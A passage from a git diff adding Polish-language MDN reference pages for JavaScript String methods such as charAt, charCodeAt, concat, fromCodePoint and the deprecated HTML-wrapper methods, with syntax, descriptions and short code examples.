name="Przyk.C5.82ad:_Wy.C5.9Bwietlanie_r.C3.B3.C5.BCnych_znak.C3.B3w_z_okre.C5.9Blonego_.C5.82a.C5.84cucha_znak.C3.B3w">Przykład: Wyświetlanie różnych znaków z określonego łańcucha znaków</h3> + +<p>Poniższy przykład wyświetla różne znaki łańcucha "<code>Brave new world</code>":</p> + +<pre class="brush: js">var anyString="Brave new world"; + +console.log("Znakiem o indeksie 0 jest '" + anyString.charAt(0) + "'"); +console.log("Znakiem o indeksie 1 jest '" + anyString.charAt(1) + "'"); +console.log("Znakiem o indeksie 2 jest '" + anyString.charAt(2) + "'"); +console.log("Znakiem o indeksie 3 jest '" + anyString.charAt(3) + "'"); +console.log("Znakiem o indeksie 4 jest '" + anyString.charAt(4) + "'"); +console.log("Znakiem o indeksie 999 jest '" + anyString.charAt(999) + "'"); +</pre> + +<p>Powyższy kod wyświetli:</p> + +<pre>Znakiem o indeksie 0 jest 'B' +Znakiem o indeksie 1 jest 'r' +Znakiem o indeksie 2 jest 'a' +Znakiem o indeksie 3 jest 'v' +Znakiem o indeksie 4 jest 'e' +Znakiem o indeksie 999 jest '' +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.indexOf()")}}</li> + <li>{{jsxref("String.prototype.lastIndexOf()")}}</li> + <li>{{jsxref("String.prototype.charCodeAt()")}}</li> + <li>{{jsxref("String.prototype.codePointAt()")}}</li> + <li>{{jsxref("String.prototype.split()")}}</li> + <li>{{jsxref("String.fromCodePoint()")}}</li> + <li><a href="https://mathiasbynens.be/notes/javascript-unicode">JavaScript has a Unicode problem – Mathias Bynens</a></li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/charcodeat/index.html b/files/pl/web/javascript/referencje/obiekty/string/charcodeat/index.html new file mode 100644 index 0000000000..21c7822f12 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/charcodeat/index.html @@ -0,0 +1,42 @@ +--- +title: String.prototype.charCodeAt() +slug: Web/JavaScript/Referencje/Obiekty/String/charCodeAt +tags: + - JavaScript + - Method + - Prototype + - String + - Unicode +translation_of: Web/JavaScript/Reference/Global_Objects/String/charCodeAt +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca liczbę oznaczającą wartość Unicode znaku o podanym indeksie.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.charCodeAt(<var>index</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>index</code> </dt> + <dd>Liczba całkowita z przedziału od 0 do liczby o 1 mniejszej od długości łańcucha.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Wartości Unicode mieszczą się w zakresie od 0 do 65535. Pierwsze 128 wartości Unicode jest takie same jak w zbiorze znaków ASCII. Aby dowiedzieć się więcej o Unicode, zobacz <a href="/pl/docs/Web/JavaScript/Guide/Grammar_and_types#Unicode">Przewodnik po języku JavaScript</a>.</p> + +<p>Zgodność wsteczna: JavaScript 1.2 — Metoda <code>charCodeAt</code> zwraca liczbę wskazującą wartość ze zbioru kodowania ISO-Latin-1 znaku o podanym indeksie. Zbiór kodowania ISO-Latin-1 posiada zakres od 0 do 255. Znaki od 0 do 127 są identyczne, co te w zbiorze znaków ASCII.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_charCodeAt" name="Przyk.C5.82ad:_Zastosowanie_charCodeAt">Przykład: Zastosowanie <code>charCodeAt()</code></h3> + +<p>Następujący przykład zwróci 65, wartość A w Unicode.</p> + +<pre class="brush: js">"ABC".charCodeAt(0); // zwróci 65 +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/string/concat/index.html b/files/pl/web/javascript/referencje/obiekty/string/concat/index.html new file mode 100644 index 0000000000..b4361f0fd7 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/concat/index.html @@ -0,0 +1,44 @@ +--- +title: String.prototype.concat() +slug: Web/JavaScript/Referencje/Obiekty/String/concat +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/concat +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Łączy tekst dwóch lub więcej łańcuchów znaków i zwraca nowy łańcuch.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.concat(<var>string2</var>, <var>string3</var>[, ..., <var>stringN</var>])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>string2...string + <i>N</i> + </code> </dt> + <dd>Łańcuchy znaków mające być dołączone do tego łańcucha.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p><code>concat()</code> łączy tekst jednego lub więcej łańcuchów znaków i zwraca nowy łańcuch znaków. Zmiana tekstu w jednym łańcuchu znaków nie ma wpływu na drugi łańcuch.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_concat" name="Przyk.C5.82ad:_Zastosowanie_concat">Przykład: Zastosowanie <code>concat()</code></h3> + +<p>Następujący przykład łączy łańcuchy znaków w nowy łańcuch znaków.</p> + +<pre class="brush: js">var s1="Och, "; +var s2="jaki piękny "; +var s3="poranek."; +var s4=s1.concat(s2,s3); // zwraca "Och, jaki piękny poranek." +</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/string/fontcolor/index.html b/files/pl/web/javascript/referencje/obiekty/string/fontcolor/index.html new file mode 100644 index 0000000000..0cc7fa1ccc --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/fontcolor/index.html @@ -0,0 +1,50 @@ +--- +title: String.prototype.fontcolor() +slug: Web/JavaScript/Referencje/Obiekty/String/fontcolor +tags: + - Deprecated + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/fontcolor +--- +<div>{{JSRef}} {{deprecated_header}}</div> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Powoduje, iż łańcuch zostanie wyświetlony podanym kolorem tak jakby był wewnątrz znacznika {{HTMLElement("font")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.fontcolor(<var>color</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>color</code> </dt> + <dd>Łańcuch znaków wyrażający kolor jako trójka heksadecymalna RGB lub jako łańcuch znaków. Lista nazw w postaci łańcucha znaków dla kolorów jest dostępna w <a href="pl/Przewodnik_po_j%c4%99zyku_JavaScript_1.5">przewodniku po języku JavaScript 1.5</a>.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Jeśli wyrażamy kolor w postaci trójki heksadecymalnej RGB, to musisz zastosować format <code>rrggbb</code>. Na przykład, wartość heksadecymalna koloru łososiowego składa się z red=FA, green=80 i blue=72, więc trójka RGB dla łososiowego będzie miała wartość "<code>FA8072</code>".</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_fontcolor" name="Przyk.C5.82ad:_Zastosowanie_fontcolor">Przykład: Zastosowanie <code>fontcolor()</code></h3> + +<p>Następujący przykład stosuje metodę <code>string</code> do zmiany koloru łańcucha znaków:</p> + +<pre class="brush: js">var worldString="Witaj, Świecie"; + +console.log(worldString.fontcolor("red") + " jest koloru czerwonego w tej linii"); +// <font color="red">Witaj, Świecie</font> jest koloru czerwonego w tej linii + +console.log(worldString.fontcolor("FF00") +" linia jest czerwona i podany kolor heksadecymalny"); +// <font color="FF00">Witaj, Świecie</font> linia jest czerwona i podany kolor heksadecymalny +</pre> + +<div class="noinclude"> </div> + +<p> </p> diff --git a/files/pl/web/javascript/referencje/obiekty/string/fontsize/index.html b/files/pl/web/javascript/referencje/obiekty/string/fontsize/index.html new file mode 100644 index 0000000000..3de3c5bb4c --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/fontsize/index.html @@ -0,0 +1,48 @@ +--- +title: String.prototype.fontsize() +slug: Web/JavaScript/Referencje/Obiekty/String/fontsize +tags: + - Deprecated + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/fontsize +--- +<p>{{JSRef}}{{ Non-standard_header() }}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Powoduje wyświetlenie łańcucha znaków w określonym rozmiarze czcionki, tak jak to było w znaczniku {{HTMLElement("font")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.fontsize(<var>size</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>size</code> </dt> + <dd>Liczba całkowita pomiędzy 1 a 7, łańcuch znaków reprezentujący rozmiar znaku liczby całkowitej między 1 a 7.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Kiedy określisz rozmiar jako liczbę całkowitą, ustaw rozmiar <code>stringName</code> na jeden z 7 innych rozmiarów. Kiedy określisz <code>size</code> łańcucha znaków jako "-2", to dostosujesz rozmiar czcionki <code>stringName</code> relatywnie do rozmiaru jaki został ustawiony w znaczniku {{HTMLElement("basefont")}}.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_rozmiaru_.C5.82a.C5.84cucha_znak.C3.B3w" name="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_rozmiaru_.C5.82a.C5.84cucha_znak.C3.B3w">Przykład: Zastosowanie <strong><code>fontsize()</code></strong></h3> + +<pre class="brush: js language-js"><code class="language-js"><span class="token keyword">var</span> worldString <span class="token operator">=</span> <span class="token string">"Witaj, Świecie"</span><span class="token punctuation">;</span> + +console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span>worldString<span class="token punctuation">.</span><span class="token function">small<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // <small>Witaj, Świecie</small> +</span>console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span>worldString<span class="token punctuation">.</span><span class="token function">big<span class="token punctuation">(</span></span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment"> // <big>Witaj, Świecie</big> +</span>console<span class="token punctuation">.</span><span class="token function">log<span class="token punctuation">(</span></span>worldString<span class="token punctuation">.</span><span class="token function">fontsize<span class="token punctuation">(</span></span><span class="token number">7</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token comment"> // <fontsize=7>Witaj, Świecie</fontsize></span></code></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.big()")}}</li> + <li>{{jsxref("String.prototype.small()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/fromcharcode/index.html b/files/pl/web/javascript/referencje/obiekty/string/fromcharcode/index.html new file mode 100644 index 0000000000..7d00613db2 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/fromcharcode/index.html @@ -0,0 +1,50 @@ +--- +title: String.fromCharCode() +slug: Web/JavaScript/Referencje/Obiekty/String/fromCharCode +tags: + - JavaScript + - Method + - String + - Unicode +translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCharCode +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Zwraca łańcuch znaków stworzony przez podaną sekwencję kodów Unicode.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code>String.fromCharCode(<var>num1</var>[, ...[, <var>numN</var>]])</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>num1, ..., num<em>N</em> </code> </dt> + <dd>Sekwencja liczb, które są wartościami Unicode.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Ta metoda zwraca łańcuch znaków nie będący {{jsxref("String")}}.</p> + +<p>Ponieważ <code>fromCharCode()</code> jest metodą statyczną {{jsxref("String")}}, używaj ją zawsze jako <code>String.fromCharCode()</code>, a nie jako metodę obiektu {{jsxref("String")}}.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_fromCharCode" name="Przyk.C5.82ad:_Zastosowanie_fromCharCode">Przykład: Zastosowanie <code>fromCharCode()</code></h3> + +<p>Następujący przykład zwraca łańcuch znaków <code>"ABC"</code>.</p> + +<pre class="brush: js">String.fromCharCode(65,66,67); // "ABC" +</pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.fromCodePoint()")}}</li> + <li>{{jsxref("String.prototype.charAt()")}}</li> + <li>{{jsxref("String.prototype.charCodeAt()")}}</li> + <li>{{jsxref("String.prototype.codePointAt()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/fromcodepoint/index.html b/files/pl/web/javascript/referencje/obiekty/string/fromcodepoint/index.html new file mode 100644 index 0000000000..a8c17af7f1 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/fromcodepoint/index.html @@ -0,0 +1,149 @@ +--- +title: String.fromCodePoint() +slug: Web/JavaScript/Referencje/Obiekty/String/fromCodePoint +translation_of: Web/JavaScript/Reference/Global_Objects/String/fromCodePoint +--- +<div>{{JSRef}}</div> + +<p>The static <strong><code>String.fromCodePoint()</code></strong> method returns a string created by using the specified sequence of code points.</p> + +<div>{{EmbedInteractiveExample("pages/js/string-fromcodepoint.html","shorter")}}</div> + + + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox notranslate">String<code>.fromCodePoint(<var>num1</var>[, ...[, <var>numN</var>]])</code></pre> + +<h3 id="Parameters">Parameters</h3> + +<dl> + <dt><code><var>num1</var>, ..., <var>numN</var></code></dt> + <dd>A sequence of code points.</dd> +</dl> + +<h3 id="Return_value">Return value</h3> + +<p>A string created by using the specified sequence of code points.</p> + +<h3 id="Exceptions">Exceptions</h3> + +<ul> + <li>A {{jsxref("Errors/Not_a_codepoint", "RangeError")}} is thrown if an invalid Unicode code point is given (e.g. <code>"RangeError: NaN is not a valid code point"</code>).</li> +</ul> + +<h2 id="Description">Description</h2> + +<p>This method returns a string (and <em>not</em> a {{jsxref("String")}} object).</p> + +<p>Because <code>fromCodePoint()</code> is a static method of {{jsxref("String")}}, you must call it as <code>String.fromCodePoint()</code>, rather than as a method of a {{jsxref("String")}} object you created.</p> + +<h2 id="Polyfill">Polyfill</h2> + +<p>The <code>String.fromCodePoint()</code> method has been added to ECMAScript 2015 and may not be supported in all web browsers or environments yet.</p> + +<p>Use the code below for a polyfill:</p> + +<pre class="brush: js notranslate">if (!String.fromCodePoint) (function(stringFromCharCode) { + var fromCodePoint = function(_) { + var codeUnits = [], codeLen = 0, result = ""; + for (var index=0, len = arguments.length; index !== len; ++index) { + var codePoint = +arguments[index]; + // correctly handles all cases including `NaN`, `-Infinity`, `+Infinity` + // The surrounding `!(...)` is required to correctly handle `NaN` cases + // The (codePoint>>>0) === codePoint clause handles decimals and negatives + if (!(codePoint < 0x10FFFF && (codePoint>>>0) === codePoint)) + throw RangeError("Invalid code point: " + codePoint); + if (codePoint <= 0xFFFF) { // BMP code point + codeLen = codeUnits.push(codePoint); + } else { // Astral code point; split in surrogate halves + // https://mathiasbynens.be/notes/javascript-encoding#surrogate-formulae + codePoint -= 0x10000; + codeLen = codeUnits.push( + (codePoint >> 10) + 0xD800, // highSurrogate + (codePoint % 0x400) + 0xDC00 // lowSurrogate + ); + } + if (codeLen >= 0x3fff) { + result += stringFromCharCode.apply(null, codeUnits); + codeUnits.length = 0; + } + } + return result + stringFromCharCode.apply(null, codeUnits); + }; + try { // IE 8 only supports `Object.defineProperty` on DOM elements + Object.defineProperty(String, "fromCodePoint", { + "value": fromCodePoint, "configurable": true, "writable": true + }); + } catch(e) { + String.fromCodePoint = fromCodePoint; + } +}(String.fromCharCode)); +</pre> + +<h2 id="Examples">Examples</h2> + +<h3 id="Using_fromCodePoint">Using <code>fromCodePoint()</code></h3> + +<p>Valid input:</p> + +<pre class="brush: js notranslate">String.fromCodePoint(42); // "*" +String.fromCodePoint(65, 90); // "AZ" +String.fromCodePoint(0x404); // "\u0404" == "Є" +String.fromCodePoint(0x2F804); // "\uD87E\uDC04" +String.fromCodePoint(194564); // "\uD87E\uDC04" +String.fromCodePoint(0x1D306, 0x61, 0x1D307); // "\uD834\uDF06a\uD834\uDF07" +</pre> + +<p>Invalid input:</p> + +<pre class="brush: js notranslate">String.fromCodePoint('_'); // RangeError +String.fromCodePoint(Infinity); // RangeError +String.fromCodePoint(-1); // RangeError +String.fromCodePoint(3.14); // RangeError +String.fromCodePoint(3e-2); // RangeError +String.fromCodePoint(NaN); // RangeError +</pre> + +<h3 id="Compared_to_fromCharCode">Compared to <code>fromCharCode()</code></h3> + +<p>{{jsxref("String.fromCharCode()")}} cannot return supplementary characters (i.e. code points <code>0x010000</code> – <code>0x10FFFF</code>) by specifying their code point. Instead, it requires the UTF-16 surrogate pair in order to return a supplementary character:</p> + +<pre class="brush: js notranslate">String.fromCharCode(0xD83C, 0xDF03); // Code Point U+1F303 "Night with +String.fromCharCode(55356, 57091); // Stars" == "\uD83C\uDF03" +</pre> + +<p><code>String.fromCodePoint()</code>, on the other hand, can return 4-byte supplementary characters, as well as the more common 2-byte BMP characters, by specifying their code point (which is equivalent to the UTF-32 code unit):</p> + +<pre class="brush: js notranslate">String.fromCodePoint(0x1F303); // or 127747 in decimal +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('ESDraft', '#sec-string.fromcodepoint', 'String.fromCodePoint')}}</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<p class="hidden">The compatibility table in this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p> + +<p>{{Compat("javascript.builtins.String.fromCodePoint")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{jsxref("String.fromCharCode()")}}</li> + <li>{{jsxref("String.prototype.charAt()")}}</li> + <li>{{jsxref("String.prototype.codePointAt()")}}</li> + <li>{{jsxref("String.prototype.charCodeAt()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/index.html b/files/pl/web/javascript/referencje/obiekty/string/index.html new file mode 100644 index 0000000000..ff27fbc81a --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/index.html @@ -0,0 +1,194 @@ +--- +title: String +slug: Web/JavaScript/Referencje/Obiekty/String +tags: + - JavaScript + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Tworzy obiekt pozwalający działać na ciągach znaków.</p> + +<h2 id="Tworzony_przez" name="Tworzony_przez">Składnia</h2> + +<p>Literały znakowe są postaci:</p> + +<pre class="syntaxbox notranslate">'string text' +"string text" +"中文 español English हिन्दी العربية português বাংলা русский 日本語 ਪੰਜਾਬੀ 한국어 தமிழ்" +</pre> + +<p>Beside regular, printable characters, special characters can be encoded using escape notation:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Code</th> + <th scope="col">Output</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>\0</code></td> + <td>the NUL character</td> + </tr> + <tr> + <td><code>\'</code></td> + <td>single quote</td> + </tr> + <tr> + <td><code>\"</code></td> + <td>double quote</td> + </tr> + <tr> + <td><code>\\</code></td> + <td>backslash</td> + </tr> + <tr> + <td><code>\n</code></td> + <td>new line</td> + </tr> + <tr> + <td><code>\r</code></td> + <td>carriage return</td> + </tr> + <tr> + <td><code>\v</code></td> + <td>vertical tab</td> + </tr> + <tr> + <td><code>\t</code></td> + <td>tab</td> + </tr> + <tr> + <td><code>\b</code></td> + <td>backspace</td> + </tr> + <tr> + <td><code>\f</code></td> + <td>form feed</td> + </tr> + <tr> + <td><code>\uXXXX</code></td> + <td>unicode codepoint</td> + </tr> + <tr> + <td><code>\xXX</code></td> + <td>the Latin-1 character</td> + </tr> + </tbody> +</table> + +<p>Or, using the <code>String</code> global object directly:</p> + +<pre class="syntaxbox notranslate">String(thing) +new String(thing) +</pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>thing</code></dt> + <dd>Dowolny łańcuch znaków.</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>trings are useful for holding data that can be represented in text form. Some of the most-used operations on strings are to check their {{jsxref("String.length", "length")}}, to build and concatenate them using the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/String_Operators">+ and += string operators</a>, checking for the existence or location of substrings with the {{jsxref("String.prototype.indexOf()", "indexOf()")}} method, or extracting substrings with the {{jsxref("String.prototype.substring()", "substring()")}} method.</p> + +<h3 id="Character_access" name="Character_access">Character access</h3> + +<p>There are two ways to access an individual character in a string. The first is the {{jsxref("String.prototype.charAt()", "charAt()")}} method:</p> + +<pre class="brush: js notranslate">return 'cat'.charAt(1); // returns "a"</pre> + +<div class="line-number" style="top: 0px;"></div> + +<p>The other way (introduced in ECMAScript 5) is to treat the string as an array-like object, where individual characters correspond to a numerical index:</p> + +<pre class="brush: js notranslate">return 'cat'[1]; // returns "a"</pre> + +<div class="line-number" style="top: 0px;"></div> + +<p>For character access using bracket notation, attempting to delete or assign a value to these properties will not succeed. The properties involved are neither writable nor configurable. (See {{jsxref("Object.defineProperty()")}} for more information.)</p> + +<h3 id="Comparing_strings" name="Comparing_strings">Comparing strings</h3> + +<p>C developers have the <code>strcmp()</code> function for comparing strings. In JavaScript, you just use the <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Operators/Comparison_Operators">less-than and greater-than operators</a>:</p> + +<pre class="brush: js notranslate">var a = 'a'; +var b = 'b'; +if (a < b) { // true + print(a + ' is less than ' + b); +} else if (a > b) { + print(a + ' is greater than ' + b); +} else { + print(a + ' and ' + b + ' are equal.'); +}</pre> + +<p>A similar result can be achieved using the {{jsxref("String.prototype.localeCompare()", "localeCompare()")}} method inherited by <code>String</code> instances.</p> + +<h3 id="Distinction_between_string_primitives_and_String_objects">Distinction between string primitives and <code>String</code> objects</h3> + +<p>Note that JavaScript distinguishes between <code>String</code> objects and primitive string values. (The same is true of {{jsxref("Global_Objects/Boolean", "Boolean")}} and {{jsxref("Global_Objects/Number", "Numbers")}}.)</p> + +<p>String literals (denoted by double or single quotes) and strings returned from <code>String</code> calls in a non-constructor context (i.e., without using the {{jsxref("Operators/new", "new")}} keyword) are primitive strings. JavaScript automatically converts primitives to <code>String</code> objects, so that it's possible to use <code>String</code> object methods for primitive strings. In contexts where a method is to be invoked on a primitive string or a property lookup occurs, JavaScript will automatically wrap the string primitive and call the method or perform the property lookup.</p> + +<pre class="brush: js notranslate">var s_prim = 'foo'; +var s_obj = new String(s_prim); + +console.log(typeof s_prim); // Logs "string" +console.log(typeof s_obj); // Logs "object"</pre> + +<div class="line-number" style="top: 76px;"></div> + +<p>String primitives and <code>String</code> objects also give different results when using {{jsxref("Global_Objects/eval", "eval()")}}. Primitives passed to <code>eval</code> are treated as source code; <code>String</code> objects are treated as all other objects are, by returning the object. For example:</p> + +<pre class="brush: js notranslate">var s1 = '2 + 2'; // creates a string primitive +var s2 = new String('2 + 2'); // creates a String object +console.log(eval(s1)); // returns the number 4 +console.log(eval(s2)); // returns the string "2 + 2"</pre> + +<p>For these reasons, code may break when it encounters <code>String</code> objects when it expects a primitive string instead, although generally authors need not worry about the distinction.</p> + +<p>A <code>String</code> object can always be converted to its primitive counterpart with the {{jsxref("String.prototype.valueOf()", "valueOf()")}} method.</p> + +<pre class="brush: js notranslate">console.log(eval(s2.valueOf())); // returns the number 4</pre> + +<div class="note"><strong>Note:</strong> For another possible approach to strings in JavaScript, please read the article about <a href="https://developer.mozilla.org/en-US/Add-ons/Code_snippets/StringView"><code>StringView</code> — a C-like representation of strings based on typed arrays</a>.</div> + +<h2 id="W.C5.82asno.C5.9Bci" name="W.C5.82asno.C5.9Bci">Własności</h2> + +<dl> + <dt>{{jsxref("String.prototype")}}</dt> + <dd>Pozwala na dodawanie własności do obiektu <code>String</code>.</dd> +</dl> + +<div>{{jsOverrides("Function", "Properties", "prototype")}}</div> + +<h2 id="Metody">Metody</h2> + +<dl> + <dt>{{jsxref("String.fromCharCode()")}}</dt> + <dd>Zwraca łańcuch znaków stworzony przez podaną sekwencję kodów Unicode.</dd> + <dt>{{jsxref("String.fromCodePoint()")}} {{experimental_inline}}</dt> + <dd>Returns a string created by using the specified sequence of code points.</dd> + <dt>{{jsxref("String.raw()")}} {{experimental_inline}}</dt> + <dd>Returns a string created from a raw template string.</dd> +</dl> + +<div>{{jsOverrides("Function", "Methods", "fromCharCode", "fromCodePoint", "raw")}}</div> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Example_String_conversion">Example: String conversion</h3> + +<p>It's possible to use <code>String</code> as a "safer" {{jsxref("String.prototype.toString()", "toString()")}} alternative, as although it still normally calls the underlying <code>toString()</code>, it also works for {{jsxref("null")}} and {{jsxref("undefined")}}. For example:</p> + +<pre class="brush: js notranslate">var outputStrings = []; +for (var i = 0, n = inputValues.length; i < n; ++i) { + outputStrings.push(String(inputValues[i])); +}</pre> diff --git a/files/pl/web/javascript/referencje/obiekty/string/italics/index.html b/files/pl/web/javascript/referencje/obiekty/string/italics/index.html new file mode 100644 index 0000000000..016a400805 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/italics/index.html @@ -0,0 +1,45 @@ +--- +title: String.prototype.italics() +slug: Web/JavaScript/Referencje/Obiekty/String/italics +tags: + - Deprecated + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/italics +--- +<p>{{JSRef}}{{deprecated_header}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Powoduje, iż łańcuch zostanie wyświetlony kursywą tak jakby był wewnątrz znacznika {{HTMLElement("i")}}.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.italics()</code></pre> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>The <code>italics()</code> method embeds a string in an <code><i></code> tag: <code>"<i>str</i>"</code>.</p> + +<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2> + +<h3 id="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_formatowania_.C5.82a.C5.84cucha_znakowego" name="Przyk.C5.82ad:_Zastosowanie_metody_string_do_zmiany_formatowania_.C5.82a.C5.84cucha_znakowego">Przykład: Zastosowanie metody <code>italics()</code></h3> + +<p>Następujący przykład stosuje metodę <code>string</code> do zmiany formatowania łańcucha znakowego:</p> + +<pre class="brush: js">var worldString="Witaj, Świecie"; + +console.log(worldString.blink()); // <blink>Witaj, Świecie</blink> +console.log(worldString.bold()); // <bold>Witaj, Świecie</bold> +console.log(worldString.italics()); // <i>Witaj, Świecie</i> +console.log(worldString.strike()); // <s>Witaj, Świecie</s></pre> + +<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2> + +<ul> + <li>{{jsxref("String.prototype.blink()")}}</li> + <li>{{jsxref("String.prototype.bold()")}}</li> + <li>{{jsxref("String.prototype.strike()")}}</li> +</ul> diff --git a/files/pl/web/javascript/referencje/obiekty/string/link/index.html b/files/pl/web/javascript/referencje/obiekty/string/link/index.html new file mode 100644 index 0000000000..6d8baeb078 --- /dev/null +++ b/files/pl/web/javascript/referencje/obiekty/string/link/index.html @@ -0,0 +1,43 @@ +--- +title: String.prototype.link() +slug: Web/JavaScript/Referencje/Obiekty/String/link +tags: + - JavaScript + - Method + - Prototype + - String +translation_of: Web/JavaScript/Reference/Global_Objects/String/link +--- +<p>{{JSRef}}</p> + +<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2> + +<p>Tworzy <a class="external" href="http://www.w3.org/TR/html401/struct/links.html#adef-href">łącze hipertekstowe</a>, które wywołuje inny URL.</p> + +<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2> + +<pre class="syntaxbox"><code><var>str</var>.link(<var>url</var>)</code></pre> + +<h3 id="Parametry" name="Parametry">Parametry</h3> + +<dl> + <dt><code>url</code></dt> + <dd>Jakikolwiek łańcuch określony w <code>href</code> ze znacznika <code>a</code>; powinien być umieszczany poprawny URL (relatywny lub absolutny).</dd> +</dl> + +<h2 id="Opis" name="Opis">Opis</h2> + +<p>Linki tworzymy poprzez 